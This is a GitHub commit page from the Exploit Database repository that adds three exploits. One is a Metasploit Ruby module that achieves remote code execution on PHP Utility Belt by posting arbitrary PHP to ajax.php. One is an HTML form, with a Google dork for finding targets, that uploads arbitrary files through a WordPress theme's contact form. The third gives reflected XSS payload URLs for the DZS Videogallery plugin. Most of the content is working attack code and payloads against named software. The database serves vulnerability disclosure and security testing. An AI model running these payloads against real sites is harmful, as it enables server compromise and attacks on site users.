Skip to content

Commit fe74e95

Browse files
author
Offensive Security
committed
DB: 2016-03-12
3 new exploits
1 parent d1a9542 commit fe74e95

4 files changed

Lines changed: 164 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35786,3 +35786,6 @@ id,file,description,date,author,platform,type,port
3578635786
39549,platforms/linux/local/39549.txt,"Exim < 4.86.2 - Local Root Privilege Escalation",2016-03-10,"Dawid Golunski",linux,local,0
3578735787
39550,platforms/multiple/dos/39550.py,"libotr <= 4.1.0 - Memory Corruption",2016-03-10,"X41 D-Sec GmbH",multiple,dos,0
3578835788
39551,platforms/multiple/dos/39551.txt,"Putty pscp <= 0.66 - Stack Buffer Overwrite",2016-03-10,tintinweb,multiple,dos,0
35789+
39552,platforms/php/webapps/39552.txt,"Wordpress Beauty & Clean Theme 1.0.8 - Arbitrary File Upload Vulnerability",2016-03-11,"Colette Chamberland",php,webapps,80
35790+
39553,platforms/php/webapps/39553.txt,"WordPress DZS Videogallery Plugin <=8.60 - Multiple Vulnerabilities",2016-03-11,"Colette Chamberland",php,webapps,80
35791+
39554,platforms/php/remote/39554.rb,"PHP Utility Belt Remote Code Execution",2016-03-11,metasploit,php,remote,80

‎platforms/php/remote/39554.rb‎

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'PHP Utility Belt Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits a remote code execution vulnerability in PHP Utility Belt,
19+
which is a set of tools for PHP developers and should not be installed in a
20+
production environment, since this application runs arbitrary PHP code as an
21+
intended functionality.
22+
},
23+
'Author' =>
24+
[
25+
'WICS', # initial discovery
26+
'Jay Turla' # msf
27+
],
28+
'References' =>
29+
[
30+
['EDB', '38901'],
31+
['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
32+
],
33+
'DisclosureDate' => 'Aug 12 2015',
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'php',
36+
'Arch' => ARCH_PHP,
37+
'Privileged' => false,
38+
'Payload' =>
39+
{
40+
'Space' => 2000,
41+
'DisableNops' => true
42+
},
43+
'Targets' =>
44+
[
45+
['PHP Utility Belt', {}]
46+
],
47+
'DefaultTarget' => 0
48+
))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
53+
], self.class)
54+
end
55+
56+
def check
57+
txt = Rex::Text.rand_text_alpha(8)
58+
res = http_send_command("echo #{txt};")
59+
60+
if res && res.body.include?(txt)
61+
Exploit::CheckCode::Vulnerable
62+
else
63+
Exploit::CheckCode::Safe
64+
end
65+
end
66+
67+
def exploit
68+
http_send_command(payload.encoded)
69+
end
70+
71+
def http_send_command(cmd)
72+
send_request_cgi(
73+
'method' => 'POST',
74+
'uri' => normalize_uri(target_uri.path),
75+
'vars_post' => {
76+
'code' => cmd
77+
}
78+
)
79+
end
80+
81+
end

‎platforms/php/webapps/39552.txt‎

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
* Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8
2+
* Discovery Date: 02.09.2016
3+
* Public Disclosure Date:03.09.2016
4+
* Vendor Homepage: http://www.yourinspirationweb.com
5+
* Exploit Author: Colette Chamberland (Wordfence)
6+
* Contact: colette@wordfence.com
7+
* Version: 1.0.8 (may affect newer versions but this was all I had)
8+
* Tested on: Wordpress 4.2.x-4.4.x
9+
10+
Description
11+
================================================================================
12+
The Beauty Premium theme contains a contact form that is vulnerable to CSRF
13+
and File Upload vulnerability in the sendmail.php file. The file attachment
14+
gets uploaded to the wordpress upload directory and it is not sanitized,
15+
allowing attackers to upload harmful code.
16+
17+
18+
PoC
19+
================================================================================
20+
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:
21+
22+
<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
23+
<input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" />
24+
<input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="test@nowhere.com" />
25+
<input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="1234567890" />
26+
<input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" />
27+
<textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test&lt;/textarea&gt;
28+
<input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50">
29+
<li class="submit-button">
30+
<input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" />
31+
<input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" />
32+
<input type="hidden" name="id_form" value="test" />
33+
<input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" /> </li>
34+
</form>
35+
36+
You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.

‎platforms/php/webapps/39553.txt‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
* Exploit Title: Wordpress DZS Videogallery Plugin - Multiple Vulnerabilities <=8.60
2+
* Discovery Date: 01.05.2016
3+
* Public Disclosure Date:03.09.2016
4+
* Vendor Homepage: http://digitalzoomstudio.net/
5+
* Software Link: http://codecanyon.net/item/video-gallery-wordpress-plugin-w-youtube-vimeo-/157782
6+
* Exploit Author: Colette Chamberland (Wordfence)
7+
* Contact: colette@wordfence.com
8+
* Version: <=8.60
9+
* Tested on: Wordpress 4.2.x-4.4.x
10+
* OVE-20160305-2497
11+
12+
13+
Technical details:
14+
15+
Unauthenticated CSRF & XSS
16+
POC:
17+
http://[target]/wp-content/plugins/dzs-videogallery/admin/playlistseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645
18+
Line 13-15 (unsanitized input):
19+
if(isset($_GET['initer'])){
20+
$initer = $_GET['initer'];
21+
}
22+
Line 27 (unsanitized output):
23+
<?php echo "var initer = '" . $initer . "';"; ?>
24+
---------------------------------------
25+
Unauthenticated CSRF & XSS
26+
POC:
27+
http://[target]/wp-content/plugins/dzs-videogallery/admin/tagseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645
28+
29+
Line 13-15 (unsanitized input):
30+
if(isset($_GET['initer'])){
31+
$initer = $_GET['initer'];
32+
}
33+
Line 27 (unsanitized output):
34+
<?php echo "var initer = '" . $initer . "';"; ?>
35+
---------------------------------------
36+
Unauthenticated CSRF & XSS:
37+
POC(s):
38+
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=6d27f"><script>alert(1)<%2fscript>894ba&type=&width=
39+
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=7934f"><script>alert(1)<%2fscript>99085&width=
40+
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=&width=54fd7"><script>alert(1)<%2fscript>4708b
41+
42+
Line 25 & 35 (unsanitized input & direct output):
43+
$w = $_GET['width'];
44+
<param name="flashvars" value="video=' . $_GET['source'] . '&types=' . $_GET['type'] . '&defaultQuality=hd" width="' . $w . '" height="' . $h . '">'.$backup.'

0 commit comments

Comments
 (0)